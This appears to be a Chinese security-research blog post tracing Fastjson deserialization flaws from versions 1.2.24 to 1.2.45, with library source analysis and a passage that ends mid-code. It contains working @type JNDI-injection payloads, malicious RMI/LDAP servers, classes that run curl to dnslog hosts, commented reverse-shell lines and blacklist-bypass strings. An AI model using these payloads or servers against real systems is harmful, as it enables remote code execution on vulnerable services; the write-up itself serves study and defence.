目录

fastjson分析

参考文章

Fastjson 反序列化分析

浅析Fastjson1.2.62-1.2.68反序列化漏洞

基本使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>3.1.1</version>
    </dependency>
</dependencies>

User类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package learn;

import java.util.Properties;

public class User {
    private String name;
    private Properties properties;
    private Integer age;

    public User() {
        this.properties = new Properties();
        System.out.println("User Construct");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public Integer getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(Integer age) {
        System.out.println("setAge");
        this.age = age;
    }

    public Properties getProperties() {
        System.out.println("getProperties");
        return properties;
    }

    @Override
    public String toString() {
        System.out.println("toString");
        return "User{" + "name='" + name + '\'' + ", age=" + age + ", properties=" + properties + '}';
    }
}
  1. 不指定@type
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package learn;

import com.alibaba.fastjson.JSON;

public class Parse {
    public static void main(String[] args) {
        User user1 = new User();
        user1.setAge(13);
        user1.setName("张三");
        System.out.println(user1);
        System.out.println("---");

        /* fastjson将类转换为json字符串,在转换的同时调用了get方法 */
        String json1 = JSON.toJSONString(user1);
        System.out.println(json1);
        System.out.println("---");

        /* fastjson将字符串转换为类会自动调用construct方法和set方法 */
        Object parse1 = JSON.parse(json1);
        System.out.println("parse1 " + parse1);
        System.out.println(parse1.getClass());// class com.alibaba.fastjson.JSONObject
        System.out.println("---");

        Object parse2 = JSON.parseObject(json1);
        System.out.println("parse2 " + parse2);
        System.out.println(parse2.getClass());// class com.alibaba.fastjson.JSONObject
        System.out.println("---");

        User parse3 = JSON.parseObject(json1, User.class);
        System.out.println("parse3 " + parse3);
        System.out.println(parse3.getClass());// class learn.User
        System.out.println("---");
    }
}

https://img.mi3aka.eu.org/2023/02/4a97b50c2586ced192d75f4963ccc6df.png

  1. 指定@type
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package learn;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class ParseWithType {
    public static void main(String[] args) {
        User user1 = new User();
        user1.setAge(13);
        user1.setName("张三");
        System.out.println(user1);
        System.out.println("---");

        /* 输出带有一个@type参数,值为learn.User类 */
        String json2 = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println(json2);
        System.out.println("---");

        /* parse会转换为@type指定的类 */
        Object parse1 = JSON.parse(json2);
        System.out.println("parse1 " + parse1);
        System.out.println(parse1.getClass());// class learn.User
        System.out.println("---");

        /* parseObject会转换为JSONObject类 */
        Object parse2 = JSON.parseObject(json2);
        System.out.println("parse2 " + parse2);
        System.out.println(parse2.getClass());// class com.alibaba.fastjson.JSONObject
        System.out.println("---");

        /* parseObject中指定类参数则会转换为其指定的类 */
        User parse3 = JSON.parseObject(json2, User.class);
        System.out.println("parse3 " + parse3);
        System.out.println(parse3.getClass());// class learn.User
        System.out.println("---");
    }
}

https://img.mi3aka.eu.org/2023/02/71ef9f876b25fc7587282cf25039526d.png

getProperties被调用的原因

三个getter方法,只有getProperties被调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//com.alibaba.fastjson.util.JavaBeanInfo
    for (Method method : clazz.getMethods()) { // getter methods
    /* 通过getMethods获取所有公共方法,然后通过循环判断这些方法是否可以加入fieldList中 */
        String methodName = method.getName();
        if (methodName.length() < 4) {// 方法名长度大于4
            continue;
        }
        if (Modifier.isStatic(method.getModifiers())) {// 方法不是静态方法
            continue;
        }
        if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {// 方法名必须以get开头,然后getXxx必须首字母大写
            ...
            if (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType()) { //判断接口是否相同
                String propertyName;
                JSONField annotation = method.getAnnotation(JSONField.class);
                if (annotation != null && annotation.deserialize()) {
                    continue;
                }
                if (annotation != null && annotation.name().length() > 0) {
                    propertyName = annotation.name();
                } else {
                    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                }
                /*
                    methodName = getAge
                    propertyName = age
                */
                FieldInfo fieldInfo = getField(fieldList, propertyName);//判断propertyName是否存在于fieldList中,即判断是否存在setAge方法
                if (fieldInfo != null) {//没有setAge方法则添加到fieldList中
                    continue;
                }
                add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
            }
        }
    }

parseObject(json)调用所有setter和getter的原因

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//com.alibaba.fastjson.JSON
    public static JSONObject parseObject(String text) {
        Object obj = parse(text);//JSON.parse(json)
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }
        return (JSONObject) JSON.toJSON(obj);//主要原因在于对解析出的json对象进行了一次toJSON操作
    }
    public static Object toJSON(Object javaObject, SerializeConfig config) {
        if (serializer instanceof JavaBeanSerializer) {
            JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer) serializer;
            JSONObject json = new JSONObject();
            try {
                Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);//对json中的getter进行遍历
                ...
            }
            return json;
        }
    }

https://img.mi3aka.eu.org/2023/02/48ee5205ab58ac48781ff3e0d0094773.png

sortedGetters保存了所有getter的名称

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//com.alibaba.fastjson.serializer.JavaBeanSerializer
    public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
        Map<String, Object> map = new LinkedHashMap<String, Object>(sortedGetters.length);
        for (FieldSerializer getter : sortedGetters) {
            map.put(getter.fieldInfo.name, getter.getPropertyValue(object));//进入get方法
        }
        return map;
    }

//com.alibaba.fastjson.serializer.FieldSerializer
    public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
        Object propertyValue =  fieldInfo.get(object);
        ...
    }

//com.alibaba.fastjson.util.FieldInfo
    public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
        if (method != null) {
            Object value = method.invoke(javaObject, new Object[0]);//通过反射进行调用
            return value;
        }

        return field.get(javaObject);
    }

调用恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Test {
    public static void main(String[] args) {
        /* fastjson支持使用@type来指定反序列化的目标类,@type指向一个恶意类,触发恶意代码 */
        String json1 = "{\"@type\":\"learn.Evil\",\"age\":15,\"name\":\"Jame\"}";// dnslog
        JSON.parseObject(json1);
        System.out.println("---");

        /* 
         * rmi加载恶意类,使用jdk8u102进行复现
         * jdk8u113后,属性com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false
         * 即默认不允许RMI,cosnaming从远程的Codebase加载Reference工厂类
         */
        String json2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/exp\", \"autoCommit\":true}";
        JSON.parseObject(json2);
        System.out.println("---");
        /*
         * ldap加载恶意类,同样使用jdk8u102进行复现
         * jdk8u191后,属性com.sun.jndi.ldap.object.trustURLCodebase的默认值变为false
         */
        String json3 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://10.10.10.3:1389/exp\", \"autoCommit\":true}";
        JSON.parseObject(json3);
        System.out.println("---");
    }
}
  1. 本地恶意类
1
2
3
4
5
6
7
package learn;
public class Evil {
    public Evil() throws IOException {
        System.out.println("Evil Construct");
        Runtime.getRuntime().exec("curl http://evil.c3d8e837.dns.1433.eu.org");
    }
}

https://img.mi3aka.eu.org/2023/02/30a98e3898507c4db00cc78dbf1d27c4.png

  1. RMI调用
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package learn.RMIServer;

public class EXEC {
    public EXEC() {
        try {
            // String command = "bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/7000 0>&1";
            String command = "curl http://rmi.f15e86f1.dns.1433.eu.org";
            Process pc = Runtime.getRuntime().exec(command);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        new EXEC();
    }
}

public class Server {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            Reference reference = new Reference("learn.RMIServer.EXEC", "learn.RMIServer.EXEC", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("exp", referenceWrapper);// rmi://127.0.0.1:1099/exp
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

https://img.mi3aka.eu.org/2023/02/61389fee6c73d19acc1fab501f944b89.png

  1. LDAP调用
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package learn.LDAPServer;

import java.net.*;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class Server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    private static final String http_server_ip = "10.10.10.1";
    private static final int ldap_port = 1389;
    private static final int http_server_port = 8000;

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                // e.addAttribute("javaClassName", "learn.LDAPServer.EXEC");// 类名
                // e.addAttribute("javaFactory", "learn.LDAPServer.EXEC");//工厂类名
                e.addAttribute("javaCodeBase", "http://" + http_server_ip + ":" + http_server_port + "/");// 设置远程的恶意引用对象的地址
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaClassName", "EXEC");
                e.addAttribute("javaFactory", "EXEC");
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 创建LDAP配置对象
            config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), ldap_port,
                    ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));// 设置LDAP监听配置信息
            config.addInMemoryOperationInterceptor(new OperationInterceptor());// 添加自定义的LDAP操作拦截器
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 创建LDAP服务对象
            ds.startListening();// 开始监听
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

位于另一台服务器上的EXEC.class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public class EXEC {
    public EXEC() {
        try {
            // String command = "bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/7000 0>&1";
            String command = "curl http://ldap.c932a1f0.dns.1433.eu.org";
            System.out.println(command);
            Process pc = Runtime.getRuntime().exec(command);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new EXEC();
    }
}

https://img.mi3aka.eu.org/2023/02/42f8f8ee7bcb33289c651f676d1a65e2.png

https://img.mi3aka.eu.org/2023/02/0c538189be63e79682a1ecca122c758f.png

https://img.mi3aka.eu.org/2023/02/f7d2706adcf3ec89f1202e767207d6d5.png

1.2.24

黑名单处理方法

首先在DefaultJSONParser对json字符串进行解析,当解析到@type时,将对应的值提取出来后,通过TypeUtils.loadClass进行loadClass操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//com.alibaba.fastjson.parser.DefaultJSONParser
    public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){// 因为"{}",因此token的值为12
        this.lexer = lexer;
        this.input = input;
        this.config = config;
        this.symbolTable = config.symbolTable;
        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE; // 12
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET; // 14
        } else {
            lexer.nextToken(); // prime the pump
        }
    }

//com.alibaba.fastjson.parser.DefaultJSONParser
    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);//开始解析json字符串
        }
    }

//com.alibaba.fastjson.parser.DefaultJSONParser
    public final Object parseObject(final Map object, Object fieldName) {
        final JSONLexer lexer = this.lexer;
        ParseContext context = this.context;
        try {
            boolean setContextFlag = false;
            for (;;) {
                lexer.skipWhitespace();
                char ch = lexer.getCurrent();
                ...
                boolean isObjectKey = false;
                Object key;
                if (ch == '"') { // "@type": "com.sun.rowset.JdbcRowSetImpl"
                    key = lexer.scanSymbol(symbolTable, '"'); // 此时key = @type
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                    }
                }
                ...
                if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                    String typeName = lexer.scanSymbol(symbolTable, '"'); // 提取出typeName为com.sun.rowset.JdbcRowSetImpl
                    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); // 通过TypeUtils.loadClass进行loadClass操作
                    ObjectDeserializer deserializer = config.getDeserializer(clazz);
                    return deserializer.deserialze(this, clazz, fieldName);
                }
            }
        }
    }

TypeUtils.lodaClass中首先判断当前类名是否在内置类名单中,不存在则进行loadClass并将类名添加到内置类名单中,返回加载类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//com.alibaba.fastjson.util.TypeUtils
    public static Class<?> loadClass(String className, ClassLoader classLoader) {//classLoader = null
        Class<?> clazz = mappings.get(className); // mappings中存放了一部分内置类,首先判断当前类名是否在内置类中
        if (clazz != null) {
            return clazz;
        }
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if (className.startsWith("L") && className.endsWith(";")) {//去除开头的L和结尾的;,后续版本可用于绕过
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        ...
        try {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if (contextClassLoader != null) {
                clazz = contextClassLoader.loadClass(className); // 加载com.sun.rowset.JdbcRowSetImpl
                mappings.put(className, clazz); // 并将com.sun.rowset.JdbcRowSetImpl添加到内置类中
                return clazz;
            }
        }
    }

loadClass加载出的类,通过ParserConfig进行黑名单检查,判断是否能够进行反序列化处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
//com.alibaba.fastjson.parser.ParserConfig
    public ObjectDeserializer getDeserializer(Type type) {
        ...
        if (type instanceof Class<?>) {
            return getDeserializer((Class<?>) type, type);
        }
    }

//com.alibaba.fastjson.parser.ParserConfig
    public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
        ...
        String className = clazz.getName();
        className = className.replace('$', '.');
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            // 通过黑名单限制可以反序列化的类
            // 1.2.24的黑名单只有java.lang.Thread
            if (className.startsWith(deny)) { // 黑名单判断
                throw new JSONException("parser deny : " + className);
            }
        }
    }

https://img.mi3aka.eu.org/2023/02/875999f3f55130fb03b5fdeedb3b290f.png

JdbcRowSetImpl分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package learn.bypass;

import com.alibaba.fastjson.JSON;

/*
Fastjson 1.2.25之前版本,只是通过黑名单限制哪些类不能通过@type指定
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
都不在黑名单中,可以直接完成攻击
*/

public class bypass_1_2_24 {
    public static void main(String[] args) {
        String json_str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/exp\", \"autoCommit\":true}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/377f07bb420e9dc44b9938f0cbadbb82.png

链条分析

把断点下在com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue方法中

https://img.mi3aka.eu.org/2023/02/90e7e7f2cb26a94f005686dffe441923.png

https://img.mi3aka.eu.org/2023/02/65397b65002050e6d8e39a5dde3c99d2.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//com.alibaba.fastjson.parser.deserializer.FieldDeserializer
    public void setValue(Object object, Object value) {//object = JdbcRowSetImpl , value = ldap地址/AutoCommit的布尔值
        ...
        try {
            Method method = fieldInfo.method;//method为com.sun.rowset.JdbcRowSetImpl.setDataSourceName/setAutoCommit
            if (method != null) {
                if (fieldInfo.getOnly) {//false
                    ...
                } else {
                    method.invoke(object, value);//反射调用,将DataSourceName值设置为ldap地址/设置AutoCommit
                }
            }
        }
    }

https://img.mi3aka.eu.org/2023/02/3b213411f1352d9476f0b9e0c56aed96.png

JdbcRowSetImplsetAutoCommit函数中,会进行connect操作,通过connect链接ldap并进行jndi注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    public void setAutoCommit(boolean autoCommit) throws SQLException {
        if(conn != null) {
           conn.setAutoCommit(autoCommit);
        } else {
           // Coming here means the connection object is null.
           // So generate a connection handle internally, since a JdbcRowSet is always connected to a db, it is fine to get a handle to the connection.
           // Get hold of a connection handle and change the autcommit as passesd.
           conn = connect();
           conn.setAutoCommit(autoCommit);

        }
    }

    private Connection connect() throws SQLException {
        if(conn != null) {
            return conn;
        } else if (getDataSourceName() != null) {
            // Connect using JNDI.
            try {
                Context ctx = new InitialContext();
                DataSource ds = (DataSource)ctx.lookup(getDataSourceName());//getDataSourceName()返回了ldap地址,lookup进行JNDI注入
            }
            ...
        }
    }

TemplatesImpl分析

todo

1.2.25-41

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
添加了配置项setAutoTypeSupport,并且使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞
当autoTypeSupport为False时,先黑名单过滤,然后再匹配白名单,如果白名单没匹配到则报错,所以必须配置有白名单,才能进行loadClass操作
当autoTypeSupport为True时,首先进行白名单过滤,如果在白名单上则直接loadClass,否则进行黑名单过滤
com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤

[bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework]

因此需要对checkAutoType函数中的黑名单进行绕过
*/

public class bypass_1_2_25_to_41 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/exp\", \"autoCommit\":true}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/52a727d0b6a97c626d25be57c2408fbe.png

checkAutoType分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//com.alibaba.fastjson.parser.ParserConfig
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        final String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        if (autoTypeSupport || expectClass != null) {//开启autoTypeSupport后,对白名单和黑名单进行校验,而"Lcom.sun.rowset.JdbcRowSetImpl;"不在黑名单范围内,因此进入后续的TypeUtils.loadClass流程
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }
        return clazz;
    }

TypeUtils.loadClass流程与前面1.2.24分析的流程一致

由于在TypeUtils.loadClass中会对classname开头的L和结尾的;进行去除后再进行loadclass,因此利用这一点进行绕过

1
2
3
4
    if (className.startsWith("L") && className.endsWith(";")) {//去除开头的L和结尾的;,后续版本可用于绕过
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }

1.2.42

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度
checkAutoType函数会从className中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提取出来,然后把前后的字符L和;都去掉,然后再进行哈希黑名单过滤

使用双写绕过
*/
public class bypass_1_2_42 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/exp\", \"autoCommit\":true}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/108b078e3931bd9255973ee3b1857fb9.png

checkAutoType分析

https://img.mi3aka.eu.org/2023/02/f30652a50503c14e7a9a07a3d415a780.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L)
        {
            className = className.substring(1, className.length() - 1);//将payload中双写的L和;去掉一个
        }

        final long h3 = (((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME) ^ className.charAt(2)) * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {//白名单
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {//黑名单
                    /*
                    1.2.42的处理方法相当于逐字符拼接后计算哈希,然后和黑名单中的哈希进行匹配
                    */
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        if (clazz == null) {//完成黑名单检测后进行loadclass,loadClass中对L和;的处理和前面的一致
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }
        return clazz;
    }

1.2.43

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
1.2.43版本对双写L和;进行检测,但loadClass函数中的className还有对[的特殊处理,所以可以绕过
*/
public class bypass_1_2_43 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"@type\": \"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/exp\", \"autoCommit\":true}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/e4ce02b20a36bd33e2f27608c4f4fb81.png

checkAutoType分析

1.2.43版本的checkAutoType函数针对双写L和;的情况做出限制

但在前面对TypeUtils.loadClass的分析可以知道,fastjson处理对L;特殊处理外,还对[进行了特殊处理

https://img.mi3aka.eu.org/2023/02/463d29435f681af220870a2818a3f4a9.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L)
        {
            if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L)//针对双写L和;的情况做出限制
            {
                throw new JSONException("autoType is not support. " + typeName);
            }
            // 9195c07b5af5345
            className = className.substring(1, className.length() - 1);
        }

        final long h3 = (((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME) ^ className.charAt(2)) * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {//黑白名单校验
                ...
            }
        }
        ...
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }
        if (clazz != null) {
            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
        }
        return clazz;
    }

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        ...
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
    }

由于添加了[导致需要进行特殊处理,在"[com.sun.rowset.JdbcRowSetImpl"后面添加[{即可

1.2.45

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
1.2.45版本对[的绕过进行了修复,但是黑名单不完善可以利用mybatis进行绕过
需要目标服务端存在mybatis的jar包,且需为3.x<3.5.0的版本
*/
public class bypass_1_2_45 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/exp\"}}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/edf381d5b0fa5fe29eb0926ee9667587.png

checkAutoType分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // 对[开头进行检测
            throw new JSONException("autoType is not support. " + typeName);
        }
    }

mybatis分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
    public void setProperties(Properties properties) {
